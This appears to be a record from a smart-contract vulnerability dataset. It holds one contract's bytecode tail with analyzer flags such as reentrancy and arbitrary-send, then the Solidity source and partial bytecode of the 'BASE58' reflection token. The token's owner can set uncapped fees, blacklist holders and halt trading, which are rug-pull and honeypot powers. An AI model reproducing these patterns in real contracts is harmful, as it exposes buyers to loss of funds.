015610b0757600080fd5b505afa158015610b1b573d6000803e3d6000fd5b505050506040513d6020811015610b3157600080fd5b5051604080516001600160e01b031960e086901b1681526001600160a01b0393841660048201529290911660248301525160448083019260209291908290030181600087803b158015610b8357600080fd5b505af1158015610b97573d6000803e3d6000fd5b505050506040513d6020811015610bad57600080fd5b5051601380546001600160a01b0319166001600160a01b039283161790556012541663f305d7194730610bdf81610712565b600080610bea61081e565b426040518863ffffffff1660e01b815260040180876001600160a01b03168152602001868152602001858152602001848152602001836001600160a01b0316815260200182815260200196505050505050506060604051808303818588803b158015610c5557600080fd5b505af1158015610c69573d6000803e3d6000fd5b50505050506040513d6060811015610c8057600080fd5b505060138054674563918244f4000060145560ff60a01b1960ff60b81b1960ff60b01b19909216600160b01b1791909116600160b81b1716600160a01b17908190556012546040805163095ea7b360e01b81526001600160a01b03928316600482015260001960248201529051919092169163095ea7b39160448083019260209291908290030181600087803b158015610d1957600080fd5b505af1158015610d2d573d6000803e3d6000fd5b505050506040513d6020811015610d4357600080fd5b505050565b610d50610e78565b6000546001600160a01b03908116911614610da0576040805162461bcd60e51b81526020600482018190526024820152600080516020612007833981519152604482015290519081900360640190fd5b60008111610df5576040805162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e2030000000604482015290519081900360640190fd5b610e136064610e0d683635c9adc5dea0000084611688565b906116e1565b601481905560408051918252517f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9181900360200190a150565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3390565b6001600160a01b038316610ec15760405162461bcd60e51b81526004018080602001828103825260248152602001806120756024913960400191505060405180910390fd5b6001600160a01b038216610f065760405162461bcd60e51b8152600401808060200182810382526022815260200180611f9c6022913960400191505060405180910390fd5b6001600160a01b03808416600081815260046020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b038316610fad5760405162461bcd60e51b81526004018080602001828103825260258152602001806120506025913960400191505060405180910390fd5b6001600160a01b038216610ff25760405162461bcd60e51b8152600401808060200182810382526023815260200180611f4f6023913960400191505060405180910390fd5b600081116110315760405162461bcd60e51b81526004018080602001828103825260298152602001806120276029913960400191505060405180910390fd5b61103961081e565b6001600160a01b0316836001600160a01b031614158015611073575061105d61081e565b6001600160a01b0316826001600160a01b031614155b156112e157601354600160b81b900460ff161561116d576001600160a01b03831630148015906110ac57506001600160a01b0382163014155b80156110c657506012546001600160a01b03848116911614155b80156110e057506012546001600160a01b03838116911614155b1561116d576012546001600160a01b03166110f9610e78565b6001600160a01b0316148061112857506013546001600160a01b031661111d610e78565b6001600160a01b0316145b61116d576040805162461bcd60e51b81526020600482015260116024820152704552523a20556e6973776170206f6e6c7960781b604482015290519081900360640190fd5b60145481111561117c57600080fd5b6001600160a01b03831660009081526007602052604090205460ff161580156111be57506001600160a01b03821660009081526007602052604090205460ff16155b6111c757600080fd5b6013546001600160a01b0384811691161480156111f257506012546001600160a01b03838116911614155b801561121757506001600160a01b03821660009081526005602052604090205460ff16155b801561122c5750601354600160b81b900460ff165b15611274576001600160a01b038216600090815260086020526040902054421161125557600080fd5b6001600160a01b0382166000908152600860205260409020601e420190555b600061127f30610712565b601354909150600160a81b900460ff161580156112aa57506013546001600160a01b03858116911614155b80156112bf5750601354600160b01b900460ff165b156112df576112cd816114ba565b4780156112dd576112dd476113d5565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff168061132357506001600160a01b03831660009081526005602052604090205460ff165b1561132c575060005b61133884848484611723565b50505050565b600081848411156113cd5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561139257818101518382015260200161137a565b50505050905090810190601f1680156113bf5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6010546001600160a01b03166108fc6113ef8360026116e1565b6040518115909202916000818181858888f19350505050158015611417573d6000803e3d6000fd5b506011546001600160a01b03166108fc6114328360026116e1565b6040518115909202916000818181858888f19350505050158015610913573d6000803e3d6000fd5b6000600a5482111561149d5760405162461bcd60e51b815260040180806020018281038252602a815260200180611f72602a913960400191505060405180910390fd5b60006114a761183f565b90506114b383826116e1565b9392505050565b6013805460ff60a81b1916600160a81b179055604080516002808252606080830184529260208301908036833701905050905030816000815181106114fb57fe5b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561154f57600080fd5b505afa158015611563573d6000803e3d6000fd5b505050506040513d602081101561157957600080fd5b505181518290600190811061158a57fe5b6001600160a01b0392831660209182029290920101526012546115b09130911684610e7c565b60125460405163791ac94760e01b8152600481018481526000602483018190523060648401819052426084850181905260a060448601908152875160a487015287516001600160a01b039097169663791ac947968a968a9594939092909160c40190602080880191028083838b5b8381101561163657818101518382015260200161161e565b505050509050019650505050505050600060405180830381600087803b15801561165f57600080fd5b505af1158015611673573d6000803e3d6000fd5b50506013805460ff60a81b1916905550505050565b60008261169757506000610550565b828202828482816116a457fe5b04146114b35760405162461bcd60e51b8152600401808060200182810382526021815260200180611fbe6021913960400191505060405180910390fd5b60006114b383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611862565b80611730576117306118c7565b6001600160a01b03841660009081526006602052604090205460ff16801561177157506001600160a01b03831660009081526006602052604090205460ff16155b15611786576117818484846118f9565b611832565b6001600160a01b03841660009081526006602052604090205460ff161580156117c757506001600160a01b03831660009081526006602052604090205460ff165b156117d757611781848484611a1d565b6001600160a01b03841660009081526006602052604090205460ff16801561181757506001600160a01b03831660009081526006602052604090205460ff165b1561182757611781848484611ac6565b611832848484611b39565b8061133857611338611b7d565b600080600061184c611b8b565b909250905061185b82826116e1565b9250505090565b600081836118b15760405162461bcd60e51b815260206004820181815283516024840152835190928392604490910191908501908083836000831561139257818101518382015260200161137a565b5060008385816118bd57fe5b0495945050505050565b600c541580156118d75750600d54155b156118e1576118f7565b600c8054600e55600d8054600f55600091829055555b565b60008060008060008061190b87611d0a565b6001600160a01b038f16600090815260036020526040902054959b5093995091975095509350915061193d9088611d67565b6001600160a01b038a1660009081526003602090815260408083209390935560029052205461196c9087611d67565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461199b9086611da9565b6001600160a01b0389166000908152600260205260409020556119bd81611e03565b6119c78483611e8b565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600080600080600080611a2f87611d0a565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150611a619087611d67565b6001600160a01b03808b16600090815260026020908152604080832094909455918b16815260039091522054611a979084611da9565b6001600160a01b03891660009081526003602090815260408083209390935560029052205461199b9086611da9565b600080600080600080611ad887611d0a565b6001600160a01b038f16600090815260036020526040902054959b50939950919750955093509150611b0a9088611d67565b6001600160a01b038a16600090815260036020908152604080832093909355600290522054611a619087611d67565b600080600080600080611b4b87611d0a565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061196c9087611d67565b600e54600c55600f54600d55565b600a546000908190683635c9adc5dea00000825b600954811015611cca57826002600060098481548110611bbb57fe5b60009182526020808320909101546001600160a01b031683528201929092526040019020541180611c205750816003600060098481548110611bf957fe5b60009182526020808320909101546001600160a01b03168352820192909252604001902054115b15611c3e57600a54683635c9adc5dea0000094509450505050611d06565b611c7e6002600060098481548110611c5257fe5b60009182526020808320909101546001600160a01b031683528201929092526040019020548490611d67565b9250611cc06003600060098481548110611c9457fe5b60009182526020808320909101546001600160a01b031683528201929092526040019020548390611d67565b9150600101611b9f565b50600a54611ce190683635c9adc5dea000006116e1565b821015611d0057600a54683635c9adc5dea00000935093505050611d06565b90925090505b9091565b6000806000806000806000806000611d278a600c54600d54611eaf565b9250925092506000611d3761183f565b90506000806000611d4a8e878787611efe565b919e509c509a509598509396509194505050505091939550919395565b60006114b383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061133e565b6000828201838110156114b3576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b6000611e0d61183f565b90506000611e1b8383611688565b30600090815260026020526040902054909150611e389082611da9565b3060009081526002602090815260408083209390935560069052205460ff1615610d435730600090815260036020526040902054611e769084611da9565b30600090815260036020526040902055505050565b600a54611e989083611d67565b600a55600b54611ea89082611da9565b600b555050565b6000808080611ec36064610e0d8989611688565b90506000611ed66064610e0d8a89611688565b90506000611eee82611ee88b86611d67565b90611d67565b9992985090965090945050505050565b6000808080611f0d8886611688565b90506000611f1b8887611688565b90506000611f298888611688565b90506000611f3b82611ee88686611d67565b939b939a5091985091965050505050505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e7345524332303a20617070726f766520746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63654f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a264697066735822122042f038615a8620e8d5800d4460fa9bd6972458f108aa9231358ab8ee7b424d3864736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
7,621
0x7e31318388c8cec2c94d9f3672d76a8b76627581
/** *Submitted for verification at Etherscan.io on 2022-04-26 */ /** Mastering Bitcoin-Unlocking Digital Cryptocurrencies Every Bitcoin wallet contains one or more private keys, which are saved in the wallet file. The private keys are mathematically related to all Bitcoin addresses generated for the wallet.  We believe in fairness and freedom, and we hope that $Base58 is a collective of equal relationships. If you have wisdom, you are welcome to join us. This is not just DAO. Our Web and Discord based on Base58 2b6NigdQEu4DPQ8b1o9ReprfGjzT B7HFCF46cBG6DNn71rHswJZbZ4RNuS x6k1M6I8YShzWPzoF4rLVXbzyPRuMaF1r9W7 Bless everyone Total: 1,000,000,000,000 Liquidity: 30 ETH Max buy: 3,000,000,000 = 0.3% Max wallet: 9,000,000,000 = 0.9% Slippage: buy 5% and sell 8% https://twitter.com/Base58eth (More clues can be found in tweets) **/ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract BASE58 is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Cryptocurrency Hunters"; string private constant _symbol = "BASE58"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 0; uint256 private _taxFeeOnBuy = 5; uint256 private _redisFeeOnSell = 0; uint256 private _taxFeeOnSell = 8; uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _developmentAddress = payable(0x9a99d96E7712f9B4e043a4FDEa6b31E539321d65); address payable private _marketingAddress = payable(0x9a99d96E7712f9B4e043a4FDEa6b31E539321d65); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 3000000000 * 10**9; uint256 public _maxWalletSize = 9000000000 * 10**9; uint256 public _swapTokensAtAmount = 100 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610564578063dd62ed3e14610584578063ea1644d5146105ca578063f2fde38b146105ea57600080fd5b8063a2a957bb146104df578063a9059cbb146104ff578063bfd792841461051f578063c3c8cd801461054f57600080fd5b80638f70ccf7116100d15780638f70ccf71461045a5780638f9a55c01461047a57806395d89b411461049057806398a5c315146104bf57600080fd5b80637d1db4a5146103f95780637f2feddc1461040f5780638da5cb5b1461043c57600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038f57806370a08231146103a4578063715018a6146103c457806374010ece146103d957600080fd5b8063313ce5671461031357806349bd5a5e1461032f5780636b9990531461034f5780636d8aa8f81461036f57600080fd5b80631694505e116101ab5780631694505e1461027f57806318160ddd146102b757806323b872dd146102dd5780632fd689e3146102fd57600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024f57600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611970565b61060a565b005b34801561020a57600080fd5b5060408051808201909152601681527543727970746f63757272656e63792048756e7465727360501b60208201525b6040516102469190611a35565b60405180910390f35b34801561025b57600080fd5b5061026f61026a366004611a8a565b6106a9565b6040519015158152602001610246565b34801561028b57600080fd5b5060145461029f906001600160a01b031681565b6040516001600160a01b039091168152602001610246565b3480156102c357600080fd5b50683635c9adc5dea000005b604051908152602001610246565b3480156102e957600080fd5b5061026f6102f8366004611ab6565b6106c0565b34801561030957600080fd5b506102cf60185481565b34801561031f57600080fd5b5060405160098152602001610246565b34801561033b57600080fd5b5060155461029f906001600160a01b031681565b34801561035b57600080fd5b506101fc61036a366004611af7565b610729565b34801561037b57600080fd5b506101fc61038a366004611b24565b610774565b34801561039b57600080fd5b506101fc6107bc565b3480156103b057600080fd5b506102cf6103bf366004611af7565b610807565b3480156103d057600080fd5b506101fc610829565b3480156103e557600080fd5b506101fc6103f4366004611b3f565b61089d565b34801561040557600080fd5b506102cf60165481565b34801561041b57600080fd5b506102cf61042a366004611af7565b60116020526000908152604090205481565b34801561044857600080fd5b506000546001600160a01b031661029f565b34801561046657600080fd5b506101fc610475366004611b24565b6108cc565b34801561048657600080fd5b506102cf60175481565b34801561049c57600080fd5b5060408051808201909152600681526508482a68a6a760d31b6020820152610239565b3480156104cb57600080fd5b506101fc6104da366004611b3f565b610914565b3480156104eb57600080fd5b506101fc6104fa366004611b58565b610943565b34801561050b57600080fd5b5061026f61051a366004611a8a565b610981565b34801561052b57600080fd5b5061026f61053a366004611af7565b60106020526000908152604090205460ff1681565b34801561055b57600080fd5b506101fc61098e565b34801561057057600080fd5b506101fc61057f366004611b8a565b6109e2565b34801561059057600080fd5b506102cf61059f366004611c0e565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105d657600080fd5b506101fc6105e5366004611b3f565b610a83565b3480156105f657600080fd5b506101fc610605366004611af7565b610ab2565b6000546001600160a01b0316331461063d5760405162461bcd60e51b815260040161063490611c47565b60405180910390fd5b60005b81518110156106a55760016010600084848151811061066157610661611c7c565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061069d81611ca8565b915050610640565b5050565b60006106b6338484610b9c565b5060015b92915050565b60006106cd848484610cc0565b61071f843361071a85604051806060016040528060288152602001611dc2602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111fc565b610b9c565b5060019392505050565b6000546001600160a01b031633146107535760405162461bcd60e51b815260040161063490611c47565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b0316331461079e5760405162461bcd60e51b815260040161063490611c47565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107f157506013546001600160a01b0316336001600160a01b0316145b6107fa57600080fd5b4761080481611236565b50565b6001600160a01b0381166000908152600260205260408120546106ba90611270565b6000546001600160a01b031633146108535760405162461bcd60e51b815260040161063490611c47565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108c75760405162461bcd60e51b815260040161063490611c47565b601655565b6000546001600160a01b031633146108f65760405162461bcd60e51b815260040161063490611c47565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b0316331461093e5760405162461bcd60e51b815260040161063490611c47565b601855565b6000546001600160a01b0316331461096d5760405162461bcd60e51b815260040161063490611c47565b600893909355600a91909155600955600b55565b60006106b6338484610cc0565b6012546001600160a01b0316336001600160a01b031614806109c357506013546001600160a01b0316336001600160a01b0316145b6109cc57600080fd5b60006109d730610807565b9050610804816112f4565b6000546001600160a01b03163314610a0c5760405162461bcd60e51b815260040161063490611c47565b60005b82811015610a7d578160056000868685818110610a2e57610a2e611c7c565b9050602002016020810190610a439190611af7565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a7581611ca8565b915050610a0f565b50505050565b6000546001600160a01b03163314610aad5760405162461bcd60e51b815260040161063490611c47565b601755565b6000546001600160a01b03163314610adc5760405162461bcd60e51b815260040161063490611c47565b6001600160a01b038116610b415760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610634565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bfe5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610634565b6001600160a01b038216610c5f5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610634565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d245760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610634565b6001600160a01b038216610d865760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610634565b60008111610de85760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610634565b6000546001600160a01b03848116911614801590610e1457506000546001600160a01b03838116911614155b156110f557601554600160a01b900460ff16610ead576000546001600160a01b03848116911614610ead5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610634565b601654811115610eff5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610634565b6001600160a01b03831660009081526010602052604090205460ff16158015610f4157506001600160a01b03821660009081526010602052604090205460ff16155b610f995760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610634565b6015546001600160a01b0383811691161461101e5760175481610fbb84610807565b610fc59190611cc3565b1061101e5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610634565b600061102930610807565b6018546016549192508210159082106110425760165491505b8080156110595750601554600160a81b900460ff16155b801561107357506015